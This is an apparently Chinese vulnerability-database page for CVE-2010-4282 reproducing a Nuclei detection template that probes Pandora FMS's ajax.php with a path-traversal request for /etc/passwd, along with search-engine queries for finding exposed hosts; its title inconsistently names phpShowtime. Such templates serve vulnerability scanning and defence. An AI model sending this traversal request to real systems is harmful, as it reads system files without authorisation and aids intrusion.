CVE-2010-4282: phpShowtime 2.0 - Directory Traversal

日期: 2025-08-01 | 影响软件: phpShowtime | POC: 已公开

漏洞描述

Multiple directory traversal vulnerabilities in Pandora FMS before 3.1.1 allow remote attackers to include and execute arbitrary local files via (1) the page parameter to ajax.php or (2) the id parameter to general/pandora_help.php, and allow remote attackers to include and execute, create, modify, or delete arbitrary local files via (3) the layout parameter to operation/agentes/networkmap.php.

PoC代码[已公开]

id: CVE-2010-4282

info:
  name: phpShowtime 2.0 - Directory Traversal
  author: daffainfo
  severity: high
  description: Multiple directory traversal vulnerabilities in Pandora FMS before 3.1.1 allow remote attackers to include and execute arbitrary local files via (1) the page parameter to ajax.php or (2) the id parameter to general/pandora_help.php, and allow remote attackers to include and execute, create, modify, or delete arbitrary local files via (3) the layout parameter to operation/agentes/networkmap.php.
  impact: |
    An attacker can exploit this vulnerability to access sensitive files containing confidential information, such as configuration files or user credentials.
  remediation: Upgrade to the latest version to mitigate this vulnerability.
  reference:
    - https://www.exploit-db.com/exploits/15643
    - https://nvd.nist.gov/vuln/detail/CVE-2010-4282
    - http://sourceforge.net/projects/pandora/files/Pandora%20FMS%203.1/Final%20version%20%28Stable%29/pandorafms_console-3.1_security_patch_13Oct2010.tar.gz/download
    - http://www.exploit-db.com/exploits/15643
    - http://seclists.org/fulldisclosure/2010/Nov/326
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:L/Au:N/C:P/I:P/A:P
    cvss-score: 7.5
    cve-id: CVE-2010-4282
    cwe-id: CWE-22
    epss-score: 0.03744
    epss-percentile: 0.87577
    cpe: cpe:2.3:a:artica:pandora_fms:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: artica
    product: pandora_fms
    shodan-query: http.title:"pandora fms"
    fofa-query: title="pandora fms"
    google-query: intitle:"pandora fms"
  tags: cve,cve2010,seclists,phpshowtime,edb,lfi,joomla,artica

http:
  - method: GET
    path:
      - "{{BaseURL}}/pandora_console/ajax.php?page=../../../../../../etc/passwd"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200
# digest: 4a0a00473045022042aa71a82a37617f0487d16914683ebb7f6ca2a4f55f4ba64329edf1913b6673022100933448b753eb83a523c5346ea5e52b114eb1080e9d00927ef4ee223ec21fb8e1:922c64590222798bb761d5b6d8e72950
来源: https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2010/CVE-2010-4282.yaml

相关漏洞推荐